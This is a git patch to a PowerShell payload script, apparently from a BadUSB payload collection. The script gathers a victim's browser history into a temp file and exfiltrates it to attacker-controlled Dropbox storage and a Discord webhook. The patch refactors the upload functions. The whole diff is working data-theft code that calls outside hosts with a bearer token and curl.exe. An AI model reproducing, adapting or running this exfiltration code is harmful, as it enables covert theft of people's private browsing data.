From 7bc2239f76c9fa74e1a54f6e46a4c54c49dd361e Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Wed, 21 Dec 2022 18:33:43 -0600 Subject: [PATCH] Update browserData.ps1 --- Payloads/Flip-BrowserData/browserData.ps1 | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/Payloads/Flip-BrowserData/browserData.ps1 b/Payloads/Flip-BrowserData/browserData.ps1 index 8c29012..25de900 100644 --- a/Payloads/Flip-BrowserData/browserData.ps1 +++ b/Payloads/Flip-BrowserData/browserData.ps1 @@ -45,9 +45,17 @@ Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData # Upload output file to dropbox -function dropbox { -$TargetFilePath="/$ZIP" -$SourceFilePath="$env:TEMP\$ZIP" +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $authorization = "Bearer " + $db $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" @@ -57,9 +65,9 @@ $headers.Add("Content-Type", 'application/octet-stream') Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers } -if (-not ([string]::IsNullOrEmpty($db))){dropbox} +if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\--BrowserData.txt} -############################################################################################################################################################ +#------------------------------------------------------------------------------------------------------------------------------------ function Upload-Discord { @@ -84,7 +92,7 @@ Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -B if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} } -if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:tmp/$ZIP"} +if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\--BrowserData.txt}